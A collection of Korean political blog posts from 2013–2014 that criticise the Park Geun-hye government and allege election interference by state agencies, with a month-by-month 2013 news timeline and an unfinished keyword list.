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225 박근혜정부 1주년 담화와 시국 집회의 현실 - 밝은 마음이 투쟁력의 힘


전국적으로 수십만명이 궐기하는 사진과 '전두엽 공황상태의 유체이탈 프롬프트 버벅이 나레이터' 박근혜 대통령의 일방적 급조 발표를 동시에 바라보면서 문득 이런 생각을 해 봅니다.


이 난리통이 쉽게 수습은 안될 것 같다


이미 나약한 민주당이나, 무리수에 자충수만 두고 있는 새정치무슨당 행보를 보아도, 아무리 우리가 페이스북/트위터 같은 SNS로 소리 내고, 대안언론이 목이 터져라 외쳐대도 저것들은 그냥 할 말만 하고 성 안으로 들어가버리는데 말입니다. 


474 라는 순자는 도대체 어디에서 어떤 근거로 나오는 것들입니까? 당선을 위해 국민을 상대로 약속한 결정적인 공약[각주:1]들을 단 하나도 제대로 지키지 못하고, <3개년 개발>이란 것의 아무 구체적인 실행 계획도 보여주지 못하면서 말입니다. 권력에만 눈 먼 수구탐욕 집단과 주위 날파리들은 독립적으로 유지되어야 할 3개의 권한, 입법/사법/행정의 3권을 통합해 놓고 자랑스러워 합니다.


티비를 보니, 또다시 장미빛 미래의 그림만 그려 놓고, 수 백 벌의 옷 자랑만 하는 온실 속 화초 출신 그분의 현란한 연출 손동작에 우리는 어지럽기만 합니다.


아무 소통도, 변화도 당장은 안 보일 것 같습니다


공중파, 종편이나 조중동 찌라시 보기 싫어서 <JTBC 뉴스9>이나 인터넷 대안언론만 처다보고 페북에 좋아요 누른 페이지만 본다 하더라도,싫어도 보게 되는 찌질한 쓰레기들 어쩔 수 없이 보게 됩니다. 그러면서 우리는 울화통과 피로감에 쩔어갑니다.


어쩔 땐 다 잊고 하던 일이나 하자~ 라고 다짐해 보지만 그게 또 쉽지 않아서 매일 아침마다 무력감에 지쳐갑니다. 참 피곤한 세상입니다. 이런 상황에서 영화 <변호인>, <또 하나의 약속> 를 보면 더 가슴이 먹먹해지고 아픔이 더 크게 동감되는 것 같습니다.


여기서, 다 포기하자는 얘기 아닙니다


현장에서 투쟁을 하든, 멀리서 지켜보며 응원하든, 다른 도울 거리가 없어서 찌든 월급통장에 남은 몇 천, 몇 만원의 돈을 기부하고 송금을 하든, 하고 싶은 일 하면서 최대한 즐겁게 현재를 즐겨야 합니다그래야 자존감도 유지되고 또 얼마나 남았을지 모를 이 부패정권에 어떤 방식으로든 항거할 힘이 유지됩니다.


영화 <또 하나의 약속> 을 보면, 극중 인물인 박철민씨의 연기 중에 슬퍼서 미친 듯 오열하는 장면은 거의 나오지 않습니다. 어처구니 없이 소중한 딸을 억울하게 보낸 부모가 어찌 슬프지 않겠습니까? 감독이 의도한 거겠지만, 연기자도, 황상기씨도 아마 아셨을 겁니다.


내가 지치고 약한 모습을 보이면, 나와 뜻을 같이 하는 '또 하나의 가족' 들이 같이 약해질 것이라는 것을...그리고 결국 나도 약해지고 우리 모두가 절망에 빠질지도 모른다는 사실을요. 


실의와 절망에 빠지면 또 새로운 분신열사가 나타날 지도 모릅니다. 그분들, 사실은 얼마나 뜨겁고 무서웠을까요? 그런 일이 또 일어나면 안됩니다.


슬퍼도 힘들어도, 애써 웃어야 합니다. 현실을 즐겨야 합니다.


이제 4년도 안되게 남았습니다. 그 동안 만이라도 즐겁게 투쟁하고 즐겁게 응원합시다. 또, 나와 같은 건전하고 곧은 생각을 하는 사람을 주위에 하나 둘씩 만들어 나가는 일종의 슬기롭고 정의감 있는 자기 복제과정을 지속해야 합니다.


그리고 나중에 새로운 지도자를 뽑을 때, 더 합리적인 인물, 민중을 감싸주고 귀 기울여 줄 줄 아는 사람을 선택할 능력을 가진 사람이 훨씬 더 많아지게 될겁니다.


집단 지성에 대해 어렵게 생각할 필요 없습니다. 이런 아름답고도 긍정적 상황이 바로 집단 지성에 의해 만들어 지는 것입니다.


그러면 우리 나라가 쪽팔리지 않는 나라 - 언론 자유 57위, 부패 인식지수 46위, 국가 원수가 다보스 포럼에서 지적 허영 부리다가 개쪽을 당하는 나라 - 푸틴 같은 독재자가 업신여기지 않는 떳떳한 나라로 한 발 더 다가서게 되지 싶습니다.


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  1. 만의 하나, 18대 대선 개표 조작이나 정부기관의 대선 개입 의혹이 굳이 사실이 아니라고 밝혀 지더라도, 이 거짓 약속들에 현혹되어 많은 분들이 특정인을 선택하도록 기만한 것은 명백히 죄악이다. [본문으로]
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Bryan의 MemoLog. 쉽게 익혀 보는 IT 실습과 개념원리, 코딩 세계의 얕은 맛보기들, 평범한 삶 주변의 현상 그리고 進上, 眞想, 진상들


많이 속상했던 2014년 2월 21 새벽입니다. 잠 설쳐가며 아름다운 그녀의 피켜스케이팅을 본, 대다수의 우리 국민들은 이렇게 느꼈을 겁니다. 누가 봐도 명백히 김연아는 최고였습니다. 바로 전 날의 석연찮은 '0점 사건'에 찜찜하긴 했는데요, 우려가 현실로 나타났습니다.


[추가 수정]


100만명 이상이 change.org 에 청원을 썼던 지난 21일, ISU는 이런 논란에 대해 "우리는 공정하게 심사했다" 라고 공식 발표 했습니다.


현지시간 21일 자로 USA투데이에서 발표한 기사의 내용은 네이버에 뜬 기사들(키워드: 피겨 양심선언; 서울신문,스포츠동아,스포츠서울)을 보면, 내용 자체가 인기와 관심을 노린 편중된 오보/오역인듯합니다.



익명의 해당 심사 관계자가 양심선언을 한 것이 아니라, 여자 피겨의 패널이 아닌 다른 쪽의 심판이 "민감한 사안이므로 익명을 요구하며, 소트니코바는 금메달을 받을 정도로 그리 잘하지는 못했다" 라고 얘기한 것입니다.


성급한 국내 언론들의 천박한 조회수 위주 속보 경쟁(트윗글 퍼나르기!)이 도를 넘어 선 듯 합니다. 제발 자중하시고, 정말로 알려야할 제대로 된 사실을 발로 뛰어서 정확하게 알려 주면 좋겠네요. 검색 결과를 보면, '인천일보'의 기사가 가장 신뢰가 가는군요.



'트리플 토룹'이니 '더블 악셀'이니 우린 그런 거 잘 모릅니다. 그런 말은 전문가 분들이 하시는 말이고, 우린 그저, 봐서 안정적이고 아름답고 부드러우면서도 자연스럽게, 흐트러지지 않은 거면 "잘 한다"라고 말합니다. 그런데 너무나도 잘했습니다. 1등 맞는 것 같습니다. 잘 모르는 제가 봐도, 그녀의 마지막 올림픽 무대는 역사에 길이 남지 싶습니다.



우리의 진정한 영웅 김연아의 '빼앗긴 금메달'


하지만 도둑 맞았습니다. 아니, 뺏겼습니다. 뻔히 눈으로 보면서 강탈 당한 거지요. 심하게 억울하고 원통한 마음이 듭니다. 하지만 김연아는 어린 나이 답지 않게, 큰 무대를 주름 잡던 그 경험과 차분하고 의연한 멘탈로 대인배의 모습을 보입니다. "1등은 아니지만 기분 좋다". 맞습니다. 당신은 진정한 우리의 영웅입니다.


심지어 세계 언론에서도 물음표를 던지는 이번 러시아 소치 동계올림픽 스캔들에 대해, 올림픽위원회에 제소를 해서라도 심판의 편파 판정에 의한 억울한 강탈에 대해 시시비비를 가리자는 말들이 곳곳에서 나오고 있습니다. 저도 그렇게 생각합니다. 너무 억울하지 않습니까?


2014년 2월 21일 change.org 에서 진상조사, 재심사 청원 서명을 받고 있습니다. 간단히 이름과 이메일을 남기면 됩니다. 사이트 폭주 중일 수 있으니, 새로 고침을 하거나 재접속을 몇 번 더 해야 할지도 모르겠습니다. 현재 시각으로 65만 여명이 서명 했고 31만명이 더 서명하면 된다고 나오네요(☞ 청원하러 가기). 




'금메달 지상주의' 라는 말이 있지만, 금메달 하나 더 따는 것 보다 더 중요한 우리의 훼손된 자존심, 엄청난 노력과 열정으로 힘든 훈련을 이겨낸 '내 노력의 결과물' 을 빼앗긴 것이 더 큰 문제란 말입니다.



우리 나라 대한민국의 '빼앗긴 민주주의'


여기서, 갑자기 2012년 12월 16일에 벌어진 우리 나라 이야기를 좀 하겠습니다. 2012년 12월 19일에 진행되는 대통령선거 이전에 국정원 여직원의 불법 선거운동 사실이, 내부 직원 제보에 의해 포착되고 경찰이 수사에 나섭니다. 하지만 경찰이 수사결과에 대해 발표하기도 전에 박근혜 당시 대선 후보는 3차 TV토론(2012년 12월 16일)에서 '국정원 여직원 대선개입 사건'을 언급합니다. 


☞ 2012년 3차 대선 토론(유튜브 영상, 바로 보기)



당시 대선 후보 박근혜는 사건의 내용을 경찰 발표 이전에 알고 있었고, 그 대비를 한 것인데 대통령이 되기도 전에 그런 사실에 대한 정보를 가지고 있었다(입수 경로가 어떻게 되는지도 중요하지만)는 것 자체가 분명히 문제가 됩니다. 이 '민주주의 강탈사건' 당시의 정황은 이렇습니다.


  • 댓글 발생 사건 6일 째 되는 2012년 12월 16일 밤, 대통령 후보 TV 토론

    박근혜 후보: “국정원 여직원이 댓글을 달았는지 증거도 없는 걸로 나왔다. 여성 인권 침해에 대해서는 한마디 말도 없고 사과도 하지 않는다”


  • 같은 날, TV토론이 끝 난 이후 밤 11시경 서울 수서경찰서의 느닷 없는 긴급 수사결과 중간 발표

    “국정원 직원 김씨의 컴퓨터를 분석한 결과 대선후보 관련 댓글 작성 여부를 확인할 수 없다”


순서를 보면 일의 앞과 뒤가 바뀐 것을 알 수 있습니다. 특정 대통령 후보가 경찰 기관과 한 편이 되어 상호 공조를 하지 않으면 일어날 수가 없는 일입니다. 경찰이 특정 후보를 위한 뒷받침이 되는 수사 발표를 뒤늦게, 그것도 축소 조작이 의심 되는 결과를 발표한 겁니다.


실제로 2013년 10월에 발표된 <리서치뷰>의 여론 조사 결과를 보면 “대선 당시 경찰이 국정원 사건의 전모를 제대로 밝혔다면, 박근혜 후보에게 투표한 사람의 8.3%가 마음을 바꿔 문재인 후보를 찍어 승패가 바뀌었을 것”이라고 합니다.



자기의 것을 빼앗긴 사람은 누구나 억울하다


갑자기 왜 김연아의 은메달과 2012년 대선 결과를 같이 이야기하고 있는 것일까요? "무슨 상관입니까?" 라는 물음에 대한 답은 이렇습니다. '무언가를 강제로 빼앗긴 사람의 억울한 심정' 이라는 점에서 이 두 사건은 아주 많이 닮아 있습니다. 어쩌면 러시아의 공정하고 투명하지 못한 정치, 사회 분위기를 보면 대한민국의 그것과도 닮아 있다는 생각도 들기도 합니다.


어쨌든, 무언가 자기의 것을 빼앗긴 사람은, 억울한 마음이 생깁니다. 우리의 영웅, 대인배 김연아는 이미 많은 우승 경험을 통해 평판과 인기를 누리고 있기에 그런 억울한 심정이 덜 할 것이다? 과연 그럴까요? 모르긴 해도, 겉으로는 '아쉽다' 라고 간단히 표현했지만, 마음속으로는 잠을 못 잘 정도로 억울하고 속상할 것입니다. 엄청난 훈련량을 소화하고 고통을 감내할 만큼 독기와 열정을 지닌, 자타가 공인하는 노력파, 간 큰 승부사 아닙니까?


심지어 때때로 누군가는 그 억울함 때문에 마음에 병이 생기고, 일생동안 고통 받으며 살거나 도중에 생을 마감하기도 합니다. 그러면 정당하고 공정하게 치뤄 져야 할, 우리의 대통령 선거 결과에 대해서는 어떤 마음이 들어야 하나요? 특정 후보 입장에서는 본인의 대통령 당선 기회를 강탈당한 억울한 마음이 들어야 할 것으며, 그를 지지하고 투표에 참여한 분들도 마찬가지의 박탈감을 느낄 것입니다.


그 연장선상에서 본다면 '공정하고 정정당당하게 치뤄 져야 할, 민주주의의 꽃' 인 선거 과정이 부정하게 치뤄졌을지도 모른다는 점에서 우리는 민주주의를 뺏긴 것입니다. 


김연아 은메달 사건을 보고, 요즘 많은 분들이 좋아하시는, 게이가 아닐지도 모르는 탑게이, 홍석천씨는 "심판들 할복해야 한다" 라고 억울해 하며 외치고 있습니다.


그런데 우리는 왜, 김연아의 은메달은 억울해하고 "위원회에 제소하자" 라면서, 2012년 12월 19일의 대통령 선거에서 일어난 부정 선거 의혹, 그것이 과연 부정한 것인지 아니면 공정하게 이루어진 민주주의의 결과물인 것인지를 왜 밝혀 내려고는 하지 않는 것인가요? 빼앗긴 것으로 의심 되는 민주주의에 대해서는 왜 억울해 하면 안되는 것입니까?


당시의 부정 선거 의혹은, 만약 그것이 사실이라면, 박근혜 후보를 선택했던 분들의 민주주의 참여 의지와 알 권리까지 빼앗아 가 버리는 중대한 범죄가 된다는 의미에서 '권력 강탈' 내지는 '인터넷 쿠데타'는 아닐까요?



진실을 덮기 위한 거짓은 거짓을 낳지만 ... 언제나 진실은 거기에 있다


두 사건 모두, 참으로 우리를 속상하고 잠 못 이루게 하고 있습니다. 하루 빨리 김연아의 은메달 사건도, 2012년 대선 부정 의혹도, 모든 정황과 비리, 문제점을 낱낱이 밝혀 낼 수 있도록 제대로 된 조사와 수사가 이루어 져야만 우리 국민들이 발 뻗고 편안하게 잠 들 수 있지 않을까요?


이제 더 이상, 우리 민족의 자존감을 훼손하는, 역사에 오명이 남는 부끄러운 일은 더 없어야 합니다.


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지난 2월 15일 서울역 앞 고가도로에서 1인 시위하다 저지당한 '싸울아비'님이 뿌리신 유인물의 내용 공유합니다.


싸울아비님은 촛불집회 관련 압수수색 당한 뒤, 2009년 일자리 잃고 시민활동가로 나섰다고 합니다. 고 이남종씨 분신 소식을 듣고 큰 충격을 받았다고 하는데요. 우리 일반 시민이 할 수 있는 것이 이런 것 밖에 없다는 것이 개탄스럽습니다.


이 분은 3일간 시위하면 사람들이 알아줄 것이라 생각하고 고가도로에 올라 부정선거를 규탄하려 했다고 합니다. 허나 진압과정에서 번개탄이 터져 부상을 입으셨습니다. “죽으려고 오른 것은 아니었지만 무척 두려웠습니다. 이남종 열사도 이렇게 두려웠겠구나 하는 생각이 들었습니다.” 라고 말하셨네요.


무슨 일이 있어도, 살아서 두 눈 부릅뜨고 지켜봐야 합니다. 독재 + 조작 + 용공 + 비리 + 탐욕 + 비인권 + 탄압 + 비양심 + 뉴라이트, 친일 세력들이 몰락해 가는 과정을. 거짓은 거짓을 낳고 또 다른 거짓을 낳고, 끝 없이 확대재생산 됩니다. 언젠가는 진실이 밝혀질 날이 꼭 올 것입니다.


한겨레신문 기사


어제 싸울아비님이 뿌리신 유인물입니다.

대한민국 민주주의는 죽었다!

18대 대통령선거에서 국정원, 군사이버사령부, 서울경찰청 등 군과 국가기관이 총 동원된 부정선거임에도 대한민국 사법부는 김용판 전 서울경찰청장에게 무죄를 선고했다. 대한민국 사법부 역시 마찬가지, 견력에 시녀로 정권에 빌붙어 자리보전에 연연하는 판사와 검사들... 이들이 대한민국 민주주의 법질설르 파괴하고 사법부를 죽이는 첨병인 것이다. 대한민국 사법부는 없다!

대한민국 정치도 마찬가지이다.
관/권이 총 동원된 부정선거에 몇몇 국회의원들 빼고는 다들 입에 자물쇠를 채운듯 아무런 말도 하지 않는다. 대한민국의 야당과 재야세력은 존자하질않다. 이제라도 나서라! 대선선거에 불복하고 다시 하자고!!

정론직필(正論稙筆)언론이 있는가?
공중파 3방송사를 비롯한 조/중/동 신문과 종편방송 TV조선, jtbc, 채널A가 언론사로, 공영방송(KBS)으로서 역할을 못한다, 왜? 방송사 사장과 주요 보직의 임원들 역시 마찬가지. 자리보전과 정권의 낙하산인사로 정권과 권력의 나팔수로 전락한지 오래다. 대한민국의 언론은 없다! 그나마 몇몇 인터넷 매체들로 인해 자그만 숨구멍만 열려있는 것이다.

이제 국민들이 나서자!
故 이남종열사 유지대로 우리 일어납시다. 언제까지 빼앗기면서 두려워할 것입니까? 저는 이렇게 밖에 할 수 없는 것에 죄스럽기까지 합니다.

관/권 부정선거의 기본작 책임자를 구속하고 그 수혜자인 박근혜는 당장 퇴진하라!


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한 해는 저물어 가는데, 박근혜 정부가 무엇을 하고 있는지, 뭘 잘했는지 도무지 감이 오지를 않는다. 복잡한 이야기 말고, 대충 리스트업만 해봐도, 일을 못해도 너무~ 못하고 있다는게 보인다.

 

2004년 2월 한나라당 집회 사진. 이러던 '예의 없는' 분들이...어처구니 없음

 

어느 한 사람이 기획과 공작은 하는 건지, 단 몇 사람이 작당해서 나라는 해먹고 있는 건지는 모르겠지만. 이명박이 4대강과 온갖 부정비리로 말아 먹었던 나라를 넘겨 받아, 이제는 아예 대 놓고 눈 막고, 입 가리고, 해먹고 있는 것이다.

 

아무 철학도, 헌법을 지킬 의지도, 도덕성도 일말의 양심도 안보인다. 물어보거나 뭐라 하면 "실수다", "쟤가 혼자 했다, 난 모른다" 라 한다. 더 따지고 들면 종북이고 이적행위란다.

 

KBS, MBC, SBS, 조중동, 어디서도 볼 수 없는 뉴스들

 

 

프레시안 뉴스 캡처(연합뉴스)

 

민중의 소리 기사 캡처

 

JTBC뉴스 기사 캡처(NEWSIs)

 

진실을 외면하고 편파보도에 열올리는 언론, 위기에 처한 대한민국 민주주의...작년에 이어 여전히 국제적으로 망신살이 뻗치고 있다.

 

 

2012년 대선 공약 줄줄이 파기, 공적인 약속인데 너무 안지켜

 

  • 핵심 복지공약인 "기초연금 65세 이상 모든 노인에 20만원 지급" 축소 후퇴
  • 장애인 연금 공약 파기 "중증장애인 100% 연금 지급" 공약 파기, 2014 예산 삭감
  • "4대중증질환 100% 국가 부담" 공약 파기
  • "고교 무상 교육" 공약 후퇴
  • "반값 등록금" 공약 후퇴
  • "비정규직(월급 130만원 미만) 사회보험 100%" 공약 후퇴
  • "공공부문 비정규직 정규직화" 공약 파기
  • "전작권 환수" 공약 파기
  • "군 복무기간 18개월로 단축" 공약 파기
  • "철도 민영화, 충분히 논의하겠다" 공약 파기(12월 철도노조 총파업 사태 방치)

 

 

불통의 아이콘

 

  • 황사는 기상청 스모그는 환경부, 측정 방법 다르고 정보공유 안돼 - 지자체 혼선, 세금 낭비
  • 박창신 신부와 정의구현사제단에 수사 위협 - 40년전 박정희 독재시대 지학순 주교 구속을 떠올리게하는 종교 탄압

 

 

  • MB정권의 4대강 총체적 부실, 대국민 사기극 등 - 국정조사 요구등 묵살, 직전 정부 부조리 방치
  • 국정원 직원, 군사이버사령부 등 댓글 공작, 청와대 행정관 개인정보조사 - 공무원들의 조직적인 '일탈'

 

 

최근들어 교통위반, 음주 운전, 경범죄 단속 극심

 

  • 2013 경찰청의 각종 범칙금 수입목표액 9980억(작년보다 11%이상 증가) - 이미 삥뜯기를 위해 달리고 있다... 함정 단속, 터널내 단속, 출근시간 음주 단속, 꼬리물기 비디오카메라 단속, 실적 챙기기에 급급한 단속 경찰들은 건수 모자라면 새벽까지 초과 근무중
  • 11개월간 범칙금 부과 건수 전년보다 63% 증가, 경범죄(대표적 악법) 처벌법 위반 범칙금 액수 전년대비 101% 증가

 

 

"국민은 이미, 헌법위에 군림하는 누군가에게 유린당하고 있는 중이다"

"참! 잘~ 한다"

 

- Barracuda -

 

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2013년 한해를 돌아 보며, 희망과 성공의 해, 2014년 말띠해(갑오년)을 맞기 위한 마음의 준비에 도움이 되도록, 시사적인 사건들을 정리해 봅니다. 이번 2014년은 1894년 갑오개혁(갑오경장) 이후 60년 회갑이 2번 지난, 120 년 만의 갑오년이군요. 뜻 깊은 한 해, 진정한 개혁의 한해가 되기를...


2013년 12월 31까지 업데이트 합니다(스마트폰은 PC모드나 랜드스케이프/횡모드 로 보세요).

 

(Last update: 2013/12/20)

1월

1일 19대 국회, 2013년 예산안 늑장 처리
3일 경찰 발표, 국정원 여직원 16개 아이디로 <오늘의유머> 정치사회 이슈글 게시, 찬반 표시 등
6일 야구선수 조성민 사망
10일 고영욱 미성년자 성추행으로 구속
16일 대법원, 수원 토막살인사건 범인 오원춘 무기징역 2심 판결 확정
17일 감사원, 4대강 사업 총체적 부실, 감사결과 발표
22일 이명박 대통령, <택시법> 거부권 행사
31일 이명박 대통령 특별사면복권 강행(최시중, 천신일, 홍사덕, 김희중, 박관용, 박희태, 김효재, 서청원, 서갑원, 서정갑 등)
31일 나로호발사 성공
31일 경찰 발표, 국정원 여직원 120개 글 올렸다

2월

3일 권은희 수서경찰서 수사과장 전보 발령
5일 변호사 문인구(6월항쟁시 호헌철폐 운동) 노환으로 별세
6일 민주당, 김용판(전 서울지방경찰청장)을 직권남용, 경찰공무원법위반 혐의로 고발
10일 5.18당시 전남도지사 장형태(시민군과 계엄군간 협상 실패로 사표) 별세
12일 북한, 3차 핵실험 강행
14일 노회찬, 이재균, 국회의원직 상실
20일 국정원, 내부기밀유출혐의로 전현직 직원 고발
24일 이명박 대통령 퇴임(2/24), 박근혜 18대 대통령 취임(2/25)

3월

4일 참여연대, 전YTN노조위원장 - 이명박 전대통령, 부인과 아들 형사고발
4일 헤어디자이너 박준, 여직원 성폭행 혐의로 구속
5일 북한, 6.25 정전협정 파기 선언
7일 국제연합 안전보장이사회, 북한 제재 결의안 통과
11일 한미 <키리졸브> 훈련 실시
19일 통합진보당, 원세훈 전 국정원장 고소고발(국정원법위반, 명예훼손)
20일 3.20 전산대란(KBS, MBC, YTN, 신한금융그룹, 농협, 악성코드로 서버전산망 마비)
21일 헌법제판소, 박정희 유신헌법 긴급조치 1호, 2호, 9호에 대해 전원일치 위헌 판결
21일 참여연대,민변,민노총 - 원세훈 고발(국정원법/공직선거법 위반, 업무상횡령, 명예훼손등 혐의)
26일 문화방송 김재철사장 해임
30일 북한 인민군 최고사령부, 1호 근무태세 발표

4월

3일 북한, 개성공단 폐지 돌입, 업체 조업 중단(4/3~4/9)
4일 어나니머스, 북한 <우리민족끼리> 해킹한 계정 공개
10일 미래창조과학부&인터넨진흥원, 3.20전산대란에 사용된 악성코드중 반 정도가 과거 북한이 사용했던것이라고 발표
16일 경주 안강읍 30대 김모씨 묻지마 범죄
19일 권은희 수사과장 폭로 - 서울경찰청이 <국정원 여직원 댓글 수사> 부당개입
23일 일본 국회의원 168명 야스쿠니 신사 참배
29일 검찰, 인터넷여론조작 관련 원세훈 전 국정원장 소환조사
30일 검찰, 인터넷여론조작 관련 국정원 압수수색

5월

3일 검찰, 여론조작 사건 관련 추정사이트 10여곳 압수수색
4일 숭례문 방화사건이후 5년만에 복구 준공
10일 윤창중 청와대 대변인 성추행 혐의로 경질
20일 검찰, 서울경찰청 압수수색
21일 수서경찰서, 국정원 댓글 여직원이 고발한 민주당 인사 소환 조사
21일 검찰, 김용판 전 서울경찰청장 등 소환 조사(5/21~5/27)
22일 민주당, 국정원 전현직 간부 고발 - 2009~2012 각종 선거 개입 의혹
30일 라디오 DJ 이종환 별세

6월

3일 뉴스타파, ICIJ와 조세피난처 관련 공통탐사결과 보도, 전두환 장남 전재국등 관련
14일 검찰 특수팀, 여론 조작 혐의로 원세훈 전 국정원장, 김용판 전 서울중앙지검청장 기소(공무원선거운동금지 위반, 직권남용 등)
19일 표창원, 국정원 댓글사건 국정조사 청원서 새누리당에 전달
21일 <국정원 여론조작 사건> 관련 대학생, 종교계 시국 선언
24일 국정원, 노무현 전대통령 NLL 대화록 논란 시작
25일 청와대홈페이지 등 해킹마비. 어나니머스, 북한 인터넷 사이트 공격
26일 북한, 동해쪽으로 단거리 미사일 발사

7월

1일 민법상 성인 기준연령이 만20세에서 만19세로 조정
2일 <국정원 여론 조작>, <NLL 대화록 논란> - 국정조사 개시
7일 아시아나항공 보잉 777 추락 사고
18일 충남 태안 사설 해병대 캠프 참가한 공주사대부고 학생중 5명 사망
18일 국방부 연예병사제도 폐지
19일 서울시 <국정원 여론조작 사건> 관련 촛불집회
23일 PD겸 작가 김종학 사망
26일 남성연대 성재기 대표 마포대교 투신(의도와 다르게 실종후 사망)
26일 국정조사(<국정원 여론조작 사건> 관련) - 새누리당, 국정원 불참으로 파행

8월

2일 배우겸 기업인 박용식 패혈증으로 별세
22일 <탈북 남매 간첩 사건> 유모씨 무죄 선고
23일 아리랑 5호 발사 성공(러시아 야스니 발사장)
28일 국정원, 내란음모혐의로 통합진보당 사무실 등 압수수색

9월

4일 노태우 전대통령 내란 및 뇌물수수혐의 추징금 2,628억원 자진 납부(16년만에 비자금 사건 종결)
4일 전두환 전대통령 추징금 1703억원 자진 납부
4일 이석기 통합진보당 의원 체포동의안 국회통과(찬성258,반대14,기권11,무효6; 헌정사상 12건의 현역의원체포동의안중 내란음모혐의는 최초)
5일 대구여대생 살인 사건 범인 검거
6일 일본 후쿠시마 및 근처 8개 현 수산물 수입 금지
7일 영화 <천안함 프로젝트> 익명 단체의 요구로 메가박스 상영 중단
김조광수, 김승환 커플 '당당한' 결혼식을 치룸
9일 영화 <천안함 프로젝트> 상영금지 관련 영화인 기자회견
16일 개성공단 166일만에 가동 재개
21일 북한, 이산가족 상봉 일방 연기
23일 천주교 정의구현사제단 시국미사
25일 전투경찰제도 42년만에 폐지(기존 역할은 의무경찰이 대신)
25일 소설가 최인호 암으로 별세
26일  정부, <기초연금 대선 공약: 65세이상 모든 노인에 월 20만원 지급> 후퇴 사과

10월

1일 미 연방정부 셧다운(1996 빌 클린턴 정부이후 17년만에)
1일 동양 그룹 계열사들 기업회생절차 신청
8일 피터힉스, 프랑수아 앙글레르가 <힉스입자 존재 가설> 공로로 노벨상 공동수상자 선정
10일 삼성전자 세계최초 <갤럭시 라운드>(일병 기왓장) 발표
16일 육군 여군 장교, 성관계요구/가학행위로 자살
16일 검찰 특수팀, 윤석열 팀장 전결로 국정원 직원 4명 체포영장 발부
17일 검찰 특수팀, 국정원 심리전단 직원4명 압수수색 및 3명 체포영장 집행,국정원 이의제기로 석방
17일 검찰(조영곤 지검장), 체포영장 관련 결재라인 문제 관련 윤석열 팀장 직무배제
22일 애플, <아이패드 에어> 공개
24일 노동부, 전교조 법외노조 통보
26일 대검, 국정원 특수팀 새 팀장에 이정회 수원지검 형사1부장 임명

11월

1일 삼성 라이온즈 한국시리즈 3년연속 통합우승
5일 법무부, 헌제에 통합진보당 위헌정당해산심판 청구서 제출
8일 민주당 특검 요구 - 국정원, 군사이버사령부, 국가보훈처 대상
13일 김무성, 남북정상회담 회의록 관련 부산유세(2012/12/14) 발언 출처는 '찌라시'라고 발표
13일 법원, 전교조의 <노동부의 전교조 법외노조 통보> 효력정지 가처분신청 수용. 이에 노동부는 항고(11/20). 12월 17일 1심 예정
16일 서울 삼성동 아이파크 LG소속 헬기 충돌
21일 과학위성 3호(국내최초 적외선 우주관측 소형위성) 발사 성공(러시아 야스니 발사장)
21일 국정원 선거개입, 대국민 심리전 트윗 121만건으로 알려짐
21일 새누리, 121만건은 과장된 수치라고 발표
21일 정부, <중증장애인 연금 2배> 공약 파기
22일 천주교 전주교구 박창신 신부 시국미사 - 박근혜 대통령 퇴진 요구
25일 대한민국 육군 채명신 중장(백골병단, 파월 사령관 등으로 국가에 헌신) 별세, 유언에 따라 현충원 사병묘역에 안장
25일 기독교계 보수단체 시국 성명서 발표, <천주교 정의구현사제단 종북 망언> 규탄
25일 친일파 민영은 후손 땅 소유권 반환소송 패소 및 상고포기
26일 한국기독교총연합회, <천주교 정의구현사제단 시국미사> 비판 기자회견
27일 기독교 공대위 시국성명 - 국정원 선거개입, 박근혜 대통령 사퇴 촉구
28일 조계종 승려 1012명 시국선언 - 국정원 특검 도입 요구
29일 원불교 사회개벽교무단 시국선언
29일 표창원, "NLL포기가 종북이면 이어도 포기는 매국"

12월

2일 기독교 군산지역 목회자정의평화협의회 시국선언 - 부정선거 규탄, 박근혜 대통령 사퇴 요구
3일 국정원 기자회견, 김일성의 사위이자 김정은의 고모부 장성택 숙청 및 측근 공개처형
4일 천도교 공동대책위원회 시국 선언
4일 천주교 정의구현사제단 릴레이 시국미사
4일 팩트TV, 방송4사의 영상 무단 도용에 대해 저작권 위반 형사고소
5일 검찰, 국정원 심리전단 트위터 계정(1차: 383개, 2차: 2270개) 확인, 총 트윗글 2200만건 확인
5일 광주지역 5대 종단(천주교,천도교,원불교,불교,개신교) 시국 선언
5일 민주당 정동영, "北 장성택 실각설, 국정원의 여론몰이"
6일 기독교 공대위 시국기도회 - 부정선거 규탄 및 이명박 구속과 박근혜 사퇴
6일 정지영 감독(백승우 연출), <천안함프로젝트> 영상 무료 다운로드 선언
7일 브라질 월드컵 2014 조추첨, 한국 H조(벨기에, 알제리, 러시아) 편성
8일 정부, 이어도 포함 KADIZ 확대 공식 선포
8일 민주당 장하나 의원-대선 결과 불복 선언(현역의원 최초), 민주당은 개인입장 유감 표시
8일 

재미동포 샌프란시스코·실리콘밸리 시국선언(현지 노인모임이 '종북빨갱이' 운운하며 방해)

*이미 지난 6,7월에 '국정원 규탄'을 주제로 재불,재독,미LA 한인들이 시국선언한 바 있음

9일

민주당 양승조 의원-"박근혜, 아버지 전철 밟을 수 있다"며 난국 해결 당부

새누리당은 "국가원수에 막말"이라며 맹 비난

9일철도노조, 노사교섭결렬로 총파업 돌입 - 수서발 KTX 운영회사 설립 반대
10일고려대생 "안녕들 하십니까?" 대자보 - 철도노조파업, 국가기관 선거개입 관련
이후 각 대학으로 전파. 각계에서 지지반응, 페이스북 '좋아요' 6만명 돌파 등(10~14일)
15일파업 5일만에 철도노동자 7900여명 직위해제(2009년 철도파업시의 9배)
19일박근혜 대통령 취임 1주년, 서울시청광장 3만여명 운집 - 관권부정선거 1년 민주주의 회복 국민대회
21청계광장, 범국민촛불대회
22경찰, 민주노총 본부사무실 강제진입 - 노조 지도부 체포영장만 구비, 구속영장은 기각된 상태, 성과는 없음
24철도노조 수석부위원장 조계사로 피신
27정부, KTX자회사 철도운송사업 면허 발급 강행 - 강경노선으로 노정 충돌 격화
28철도노조, 민주노총 총파업 집회 - 서울광장, 10만명 운집

 

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Bryan의 MemoLog. 쉽게 익혀 보는 IT 실습과 개념원리, 코딩 세계의 얕은 맛보기들, 평범한 삶 주변의 현상 그리고 進上, 眞想, 진상들

 

2013년 한 해가 저물어가려 하는 12월 어느 오후, 아무 이유 없이, 지난 1년간 만난 키워드 120개를 적어보았습니다. 긍정적이거나 아니면 최소한 부정적이 아닌 키워드에는 붉은 글씨를 사용했습니다. 이 해가 다 가기 전에 붉은 글씨가 더 많이 달렸으면 하는 바램입니다(일부 키워드는 보는 이의 관점에 따라 중의적일 수 있습니다).

 

 

 

[2013 키워드] 카테고리 없음, 가나다순(스마트폰은 PC화면 모드로...)

 

4대강 7번방

EXO

MBC NLL

갑질

강동희

강호동

게임 고영욱

공안

